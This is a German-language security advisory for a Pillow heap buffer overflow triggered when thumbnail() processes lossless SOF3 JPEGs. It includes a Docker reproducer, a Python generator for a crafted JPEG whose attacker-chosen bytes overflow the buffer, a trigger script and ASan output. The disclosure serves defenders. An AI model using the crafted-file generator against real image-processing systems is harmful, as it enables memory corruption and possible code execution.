Pillow: Heap-Pufferüberlauf in ImagingJpegDecode
Zusammenfassung
JpegImageFile.draft() — das von Image.thumbnail() automatisch aufgerufen wird — fordert eine auf 1/2, 1/4 oder 1/8 skalierte JPEG-Ausgabe an und verkleinert self._size sowie die Kachelausdehnungen passend, sodass _setimage() einen einzeiligen Decodierpuffer von ceil(W/s) Abtastwerten zuweist. ImagingJpegDecode() setzt cinfo.scale_num/scale_denom, ruft jpeg_start_decompress() auf und liest anschließend Scanlines in diesen Puffer ein, ohne jemals cinfo.output_width, cinfo.output_height oder cinfo.out_color_components mit state->xsize, state->ysize und state->bits zu vergleichen.
libjpeg-turbo 3.x decodiert verlustfreies (SOF3) JPEG, schließt verlustfreie Datenströme jedoch fest von der Skalierung aus — die angeforderte scale_denom wird stillschweigend verworfen. Daher werden Zeilen mit der vollen Breite von W Abtastwerten in einen Puffer zurückgegeben, der für ceil(W/s) dimensioniert ist. Jeder Aufruf von jpeg_read_scanlines() schreibt (W - ceil(W/s)) x components Bytes über das Ende der Heap-Zuweisung hinaus. Bei den überlaufenden Bytes handelt es sich um die decodierten Pixelwerte, die für ein 8-Bit Graustufen-Verlustfrei-Bild bytegenau sind.
Die Eingabe ist ein standardkonformes JPEG, weshalb Image.open(..., formats=["JPEG"]) dies nicht verhindert. Der Python-SOF-Parser von Pillow akzeptiert den Marker 0xFFC3 („SOF3“, „Spatial lossless“) bereits mit 8-Bit-Präzision, sodass die Datei regulär als JPEG / Modus L-Bild in voller deklarierter Größe geöffnet wird.
Betroffener Code
In e41083f383c9cd3db95de52564cc0b6452313d4a (main, 2026-08-29):
src/libImaging/JpegDecode.c:224-262—ImagingJpegDecode();jpeg_start_decompress()bei :240,jpeg_read_scanlines()bei :252, ohne Geometrieprüfung dazwischen.src/decode.c:222-231—_setimage();state->buffer = calloc(1, state->bytes)mitstate->bytes = (state->bits * state->xsize + 7) / 8.src/PIL/JpegImagePlugin.py:428-464—JpegImageFile.draft(); berechnetsund verkleinert_size, die Kachelausdehnungen unddecoderconfigohne Berücksichtigung verlustfreier Codierung.src/PIL/JpegImagePlugin.py:271—0xFFC3: ("SOF3", "Spatial lossless", SOF).
// src/libImaging/JpegDecode.c
if (context->scale > 1) {
context->cinfo.scale_num = 1;
context->cinfo.scale_denom = context->scale;
}
...
case 2:
if (!jpeg_start_decompress(&context->cinfo)) {
break;
}
state->state++;
/* fall through */
case 3:
ok = 1;
while (state->y < state->ysize) {
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1);
Da state->ysize (ceil(H/s)) niemals dem libjpeg-Wert output_height entsprechen kann, wenn s >= 2 gilt, endet der Decodiervorgang immer mit einem Fehler, nachdem die Zeilen bereits geschrieben wurden: Der Aufrufer sieht eine Ausnahme und erhält keine Pixel zurück. Der OSError ist eine Folge des Überlaufs, nicht das gemeldete Problem selbst.
Primitiv
Pro Scanline: ein zusammenhängender Schreibvorgang von (W - ceil(W/s)) x c Bytes unmittelbar hinter einem calloc(ceil(W/s) x c)-Block, wobei c = 1 für Modus L und 4 für RGB (RGBX) und CMYK gilt; wiederholt für ceil(H/s) Zeilen über denselben Bereich. Die Puffergrößenklasse wird vom Angreifer über W gewählt, und bei Graustufen handelt es sich bei dem überlaufenden Inhalt um eine beliebige, vom Angreifer gewählte Bytefolge.
Gemessen im untenstehenden Reproduktionsbeispiel: 1200x1100 Modus L, s=2 — eine Zuweisung von 600 Bytes, 600 Bytes darüber hinaus geschrieben, wobei ASan den gesamten Zeilenschreibvorgang von 1200 Bytes als ein einziges memcpy meldet.
Schwellenwert: draft() muss s >= 2 auswählen, d. h. W // requested_w >= 2 und H // requested_h >= 2. Für thumbnail((256,256)) mit dem Standard-reducing_gap=2.0 bedeutet dies W, H >= 1024.
Reproduktion
Eigenständiger Docker-Reproduzierer (Ubuntu 24.04, clang 20, libjpeg-turbo 3.1.4 und Pillow beide aus dem Quellcode mit -fsanitize=address gebaut; Pillow ausgecheckt bei ${TARGET_COMMIT}, Standard e41083f383c9cd3db95de52564cc0b6452313d4a). Speichern Sie die drei untenstehenden Dateien als Dockerfile, make_sof3.py und trigger.py in einem leeren Verzeichnis, dann:
docker build -t pillow-sof3-oob . && docker run --rm pillow-sof3-oob
make_sof3.py ist ein eigenständiger Encoder, der ein standardkonformes 8-Bit-Graustufen-JPEG mit verlustfreiem Huffman erzeugt (SOI / DHT / SOF3 P=8, Y=1100, X=1200, Nf=1 / SOS Ss=1 Prädiktor 1, Se=0, Ah=Al=0 / entropiekodierte Zeilendifferenzen / EOI), dessen Zeilen ein sich wiederholendes Markermuster tragen. trigger.py öffnet dieses und ruft thumbnail() auf, dessen implizites draft() s=2 wählt und einen Zeilenpuffer von 600 Bytes zuweist.
Dockerfile
FROM ubuntu:24.04
ENV DEBIAN_FRONTEND=noninteractive
ARG TARGET_COMMIT=e41083f383c9cd3db95de52564cc0b6452313d4a
ARG CLANG_VERSION=20
ARG LIBJPEG_TURBO_TAG=3.1.4
RUN apt-get update && apt-get install -y --no-install-recommends \
ca-certificates git make cmake nasm pkg-config libc6-dev gcc \
wget gnupg lsb-release software-properties-common \
python3 python3-dev python3-pip python3-venv zlib1g-dev \
&& wget -qO /tmp/llvm.sh https://apt.llvm.org/llvm.sh && chmod +x /tmp/llvm.sh && /tmp/llvm.sh ${CLANG_VERSION} \
&& apt-get install -y --no-install-recommends clang-${CLANG_VERSION} llvm-${CLANG_VERSION} libclang-rt-${CLANG_VERSION}-dev \
&& rm -rf /var/lib/apt/lists/*
ENV CC=clang-20
ENV CXX=clang++-20
ENV CFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV CXXFLAGS="-g -fno-omit-frame-pointer -O1 -fsanitize=address"
ENV LDFLAGS="-fsanitize=address"
# --- libjpeg-turbo 3.x (lossless SOF3 support) built with ASan ---
RUN git clone https://github.com/libjpeg-turbo/libjpeg-turbo /src/libjpeg-turbo
RUN cd /src/libjpeg-turbo && git checkout ${LIBJPEG_TURBO_TAG} \
&& cmake -B /build/ljt -S . -DCMAKE_BUILD_TYPE=None \
-DCMAKE_C_COMPILER=clang-20 \
-DCMAKE_C_FLAGS="$CFLAGS" \
-DCMAKE_EXE_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_SHARED_LINKER_FLAGS="$LDFLAGS" \
-DCMAKE_INSTALL_PREFIX=/opt/ljt -DWITH_JPEG8=0 -DENABLE_STATIC=0 \
&& cmake --build /build/ljt -j"$(nproc)" && cmake --install /build/ljt
# --- Pillow at the pinned commit, built with ASan against that libjpeg ---
RUN git clone https://github.com/python-pillow/Pillow /src/repo
WORKDIR /src/repo
RUN git checkout ${TARGET_COMMIT}
ENV JPEG_ROOT=/opt/ljt
ENV LD_LIBRARY_PATH=/opt/ljt/lib
RUN python3 -m venv /venv \
&& /venv/bin/pip install --quiet --upgrade pip "setuptools>=80" wheel pybind11 \
&& CFLAGS="$CFLAGS" LDFLAGS="$LDFLAGS -Wl,-rpath,/opt/ljt/lib" \
/venv/bin/pip install --no-build-isolation --no-deps . \
&& ln -sf "$(clang-20 -print-file-name=libclang_rt.asan-x86_64.so)" /opt/libasan.so \
&& LD_PRELOAD=/opt/libasan.so ASAN_OPTIONS=detect_leaks=0 \
/venv/bin/python3 -c "from PIL import Image, features; print(Image.__version__, features.version('jpg'))"
COPY make_sof3.py /tmp/make_sof3.py
COPY trigger.py /tmp/trigger.py
RUN python3 /tmp/make_sof3.py /tmp/sof3_gray_1200x1100.jpg
ENV ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:symbolize=1
ENV ASAN_SYMBOLIZER_PATH=/usr/lib/llvm-20/bin/llvm-symbolizer
ENV LD_PRELOAD=/opt/libasan.so
CMD ["/bin/sh","-c","cd /tmp && /venv/bin/python3 /tmp/trigger.py 2>&1; echo EXIT=$?"]
make_sof3.py
#!/usr/bin/env python3
"""Generate an 8-bit grayscale lossless-Huffman (SOF3) JPEG.
Standards-compliant per ITU-T T.81 Annex H (lossless mode), predictor 1 (Ra).
Rows carry an attacker-chosen marker byte pattern verbatim (lossless => exact).
"""
import struct
import sys
W = 1200
H = 1100
MARKER = b"AAAABBBBCCCCDDDD" # attacker-chosen bytes that land past the buffer
class BitWriter:
def __init__(self):
self.out = bytearray()
self.acc = 0
self.n = 0
def put(self, value, nbits):
for i in range(nbits - 1, -1, -1):
self.acc = (self.acc << 1) | ((value >> i) & 1)
self.n += 1
if self.n == 8:
self.out.append(self.acc)
if self.acc == 0xFF:
self.out.append(0x00) # byte stuffing
self.acc = 0
self.n = 0
def flush(self):
while self.n:
self.put(1, 1)
return bytes(self.out)
# Canonical Huffman: 17 symbols (categories 0..16), all of code length 5.
BITS = [0] * 17
BITS[5] = 17
HUFFVAL = list(range(17))
CODES = {sym: (i, 5) for i, sym in enumerate(HUFFVAL)}
def category(d):
if d == 0:
return 0
return abs(d).bit_length()
def build_pixels():
rows = []
for y in range(H):
row = bytearray()
while len(row) < W:
row += MARKER
rows.append(bytes(row[:W]))
return rows
def main(path):
rows = build_pixels()
bw = BitWriter()
prev = None
for y in range(H):
row = rows[y]
for x in range(W):
s = row[x]
if y == 0 and x == 0:
pred = 1 << 7 # 2^(P-1-Pt)
elif x == 0:
pred = prev[0] # Rb for first sample of a line
else:
pred = row[x - 1] # Ra, predictor 1
d = (s - pred) & 0xFFFF
if d >= 0x8000:
d -= 0x10000
ssss = category(d)
code, length = CODES[ssss]
bw.put(code, length)
if ssss:
v = d if d > 0 else d + (1 << ssss) - 1
bw.put(v & ((1 << ssss) - 1), ssss)
prev = row
entropy = bw.flush()
out = bytearray()
out += b"\xff\xd8" # SOI
# DHT: class 0 (DC/lossless), table id 0
dht = bytes([0x00]) + bytes(BITS[1:17]) + bytes(HUFFVAL)
out += b"\xff\xc4" + struct.pack(">H", len(dht) + 2) + dht
# SOF3: lossless, Huffman, sequential
sof = struct.pack(">BHHB", 8, H, W, 1) + bytes([1, 0x11, 0])
out += b"\xff\xc3" + struct.pack(">H", len(sof) + 2) + sof
# SOS: Ns=1, Cs=1, Td=0/Ta=0, Ss=1 (predictor 1), Se=0, Ah=0/Al=0
sos = bytes([1, 1, 0x00, 1, 0, 0])
out += b"\xff\xda" + struct.pack(">H", len(sos) + 2) + sos
out += entropy
out += b"\xff\xd9" # EOI
with open(path, "wb") as f:
f.write(bytes(out))
print(f"wrote {path}: {len(out)} bytes, {W}x{H} 8-bit grayscale SOF3 lossless")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else "/tmp/sof3_gray_1200x1100.jpg")
trigger.py
import sys
from PIL import Image, features
print("Pillow", Image.__version__, "| libjpeg", features.version("jpg"), flush=True)
im = Image.open("/tmp/sof3_gray_1200x1100.jpg")
print("format=%s mode=%s size=%s" % (im.format, im.mode, im.size), flush=True)
print(">>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer", flush=True)
sys.stdout.flush()
try:
im.thumbnail((256, 256))
print("thumbnail returned, size=%s" % (im.size,), flush=True)
except Exception as e:
print("exception: %r" % (e,), flush=True)
Validierte Ausgabe:
Pillow 13.0.0.dev0 | libjpeg 6.2
format=JPEG mode=L size=(1200, 1100)
>>> im.thumbnail((256, 256)) # draft() picks s=2 -> 600-byte row buffer
=================================================================
==7==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x74e4e904aad8 at pc 0x7784ea4f9422
WRITE of size 1200 at 0x74e4e904aad8 thread T0
#0 __asan_memcpy
#1 jcopy_sample_rows /src/libjpeg-turbo/src/wrapper/../jutils.c:121:5
#2 sep_upsample /src/libjpeg-turbo/src/wrapper/../jdsample.c:100:3
#3 process_data_simple_main /src/libjpeg-turbo/src/wrapper/../jdmainct.c:317:3
#4 jpeg_read_scanlines /src/libjpeg-turbo/src/wrapper/../jdapistd.c:359:3
#5 ImagingJpegDecode /src/repo/src/libImaging/JpegDecode.c:252:22
#6 _decode /src/repo/src/decode.c:132:14
0x74e4e904aad8 is located 0 bytes after 600-byte region [0x74e4e904a880,0x74e4e904aad8)
allocated by thread T0 here:
#0 calloc
#1 _setimage /src/repo/src/decode.c:230:34
SUMMARY: AddressSanitizer: heap-buffer-overflow in __asan_memcpy
Negativkontrolle, dasselbe Bild: Ein Baseline-DCT-JPEG identischer Dimensionen wird fehlerfrei als Thumbnail verarbeitet, da libjpeg die Skalierung 1/2 genau so einhält, wie draft() sie berechnet hat.
control baseline DCT JPEG: JPEG L (1200, 1100)
thumbnail OK, size = (256, 235) -- no ASan report
Geltungsbereich und Vorbehalte
- Reproduziert auf
mainbeie41083f383c9cd3db95de52564cc0b6452313d4a, was dem aktuellenorigin/mainzum Stand von 2026-08-30 entspricht. Ebenfalls gemeldet gegen 12.3.0. - Erfordert, dass das verlinkte libjpeg verlustfreie Decodierung unterstützt, d. h. libjpeg-turbo >= 3.0. Dies ist in den offiziellen Pillow-Wheels gebündelt. Builds gegen libjpeg-turbo 2.x oder IJG libjpeg weisen SOF3 zurück, bevor eine Zeile decodiert wird, und sind nicht betroffen.
- Keine nicht standardmäßige Pillow-Konfiguration erforderlich:
Image.thumbnail()ruft standardmäßigdraft()auf, und die auslösenden Bytes sind vollständig Dateidaten. - Nur Codepfade betroffen, die
draft()vor dem Laden verwenden.open().load()undresize()decodieren mit Skalierung 1 und sind nicht betroffen. Der Aufruf vonimg.load()vorthumbnail()oderthumbnail(..., reducing_gap=None)vermeidet den Pfad in einer Anwendung derzeit. - Auf demselben Codepfad nicht betroffen: SOF11 (arithmetisch verlustfrei) schlägt mit
JERR_ARITH_NOTIMPLvor jeder Zeile fehl; 12- und 16-Bit verlustfrei werden vomSOF()von Pillow abgelehnt, da esbits == 8erfordert; SOF5-7/13-15 schlagen mitJERR_SOF_UNSUPPORTEDfehl.
Danksagung und Offenlegung
Gefunden von Anthropic unter Verwendung von Claude zur Untersuchung der Sicherheit von Open-Source-Software, manuell validiert von Ada Logics.
Dieser Bericht folgt der Richtlinie zur koordinierten Offenlegung von Schwachstellen von Anthropic (https://www.anthropic.com/coordinated-vulnerability-disclosure), mit einem 90-tägigen Offenlegungsfenster ab dem Datum dieses Berichts.
Dank gebührt Claude (Anthropic) und Ada Logics.
Was zu tun ist
Aktualisieren Sie Pillow auf Version 13.0.0 oder höher. Für betroffene Versionen weist der Sicherheitshinweis darauf hin, dass das Vermeiden von draft() vor dem Laden, der Aufruf von img.load() vor thumbnail() oder der Aufruf von thumbnail(..., reducing_gap=None) den betroffenen Codepfad umgeht.
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | pillow | < 13.0.0 | 13.0.0 |
Verweise
- https://github.com/python-pillow/Pillow/security/advisories/GHSA-8g5g-8vmr-9782
- https://nvd.nist.gov/vuln/detail/CVE-2026-112403
- https://github.com/python-pillow/Pillow/commit/242a059aedc1935097d9aa1dc3f099750467ba75
- https://github.com/python-pillow/Pillow
- https://github.com/python-pillow/Pillow/releases/tag/13.0.0
- CVSS-Vektor
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N- Schwäche (CWE)
CWE-122- Plattform
- Python (PyPI)
- Paket
pillow- Veröffentlicht
- 20.10.2026
- Aktualisiert
- 21.10.2026 10:00
Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.
OSV / GitHub Advisory Database - GHSA-8g5g-8vmr-9782 - CC BY 4.0
Schwachstellenhistorie: pillow
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 82
- Erste → letzte
- 04.2014 10.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 1
Verteilung nach Schweregrad
- Kritisch 11
- Hoch 53
- Mittel 16
- Niedrig 1
- Nicht bewertet 1
Veröffentlichungen pro Jahr
- 2017: 1
- 2018: 0
- 2019: 1
- 2020: 10
- 2021: 20
- 2022: 8
- 2023: 3
- 2024: 2
- 2025: 1
- 2026: 24
früher: 12
-
Pillow: Heap-Pufferüberlauf in ImagingJpegDecode dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.